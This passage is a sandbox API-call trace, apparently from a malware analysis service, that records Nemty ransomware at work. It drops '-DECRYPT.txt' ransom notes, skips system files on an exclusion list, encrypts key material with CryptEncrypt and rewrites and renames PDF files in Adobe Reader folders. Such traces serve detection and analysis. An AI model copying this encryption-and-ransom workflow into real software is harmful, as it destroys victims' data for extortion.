(in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0188.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0188.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0188.388] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0188.390] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.390] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0188.391] CloseHandle (hObject=0x2f0) returned 1 [0188.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0188.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0188.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0188.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0188.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0188.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.391] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.392] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.392] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0188.393] CloseHandle (hObject=0x2f0) returned 1 [0188.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0188.393] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x23eea130, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23eea130, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0188.393] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0188.393] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x23eea130, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23eea130, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0188.393] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0188.393] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0188.393] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0188.393] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0188.393] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0188.393] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0188.393] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0188.393] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0188.394] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0188.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.395] Sleep (dwMilliseconds=0x5) [0188.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23f10290, dwHighDateTime=0x1d561e8)) [0188.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23f10290, dwHighDateTime=0x1d561e8)) [0188.401] GetLastError () returned 0xb7 [0188.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.401] GetLastError () returned 0xb7 [0188.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.401] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.401] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.401] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.401] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="nKgGHrDReTjDJl7xsTOXi4sO8qlIctae4aXWdzbVXgbVxQqOR5jybgh4sUdPhEUH\r\nr37UWwlDgwwZmW/cSuvFdrWyFXK0V0d6Pp8vRLru8nge6m8KYTAX47tVhTprghnH\r\nCg9eCln+CgvW0f2Fm0VlZUuFGD1s32yqxQcj/FBma9FiA2Z/Ii8U/YhOeB5/wm+C\r\nM1GF2Vvls58KNoP/yMyZngAsA69QLrkLAZHejv7sdchLRUf7YskIOFRhFhSGOYsJ\r\ntjw0uJGrjzlc1PsJx7MLWDArFNZbxyuDXLHfoRbB3AB6hFF4Ru1utCcE5y6TiT85\r\n3fbxTG0QR+Fr253AY7hdaw==\r\n", pcchString=0x653df5c) returned 1 [0188.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.401] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.402] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=52696) returned 1 [0188.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xcdd0) returned 0x6352c48 [0188.402] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.402] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xcdd0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xcdd0, lpOverlapped=0x0) returned 1 [0188.420] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.420] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xcdd0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xcdd0, lpOverlapped=0x0) returned 1 [0188.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.420] SetFilePointer (in: hFile=0x320, lDistanceToMove=52696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcdd8 [0188.420] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.420] CloseHandle (hObject=0x320) returned 1 [0188.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.421] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0188.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.422] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x892d, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2=".") returned 1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="..") returned 1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="...") returned 1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="windows") returned -1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="rsa") returned -1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="NTDETECT.COM") returned -1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntldr") returned -1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="MSDOS.SYS") returned -1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="IO.SYS") returned -1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntuser.dat") returned -1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="desktop.ini") returned 1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="CONFIG.SYS") returned 1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="RECYCLER") returned -1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="bootmgr") returned 1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="programdata") returned -1 [0188.422] lstrcmpiW (lpString1="Faces.pdf", lpString2="appdata") returned 1 [0188.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.423] Sleep (dwMilliseconds=0x5) [0188.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23f826b0, dwHighDateTime=0x1d561e8)) [0188.450] GetSystemTimeAsFileTime (in: 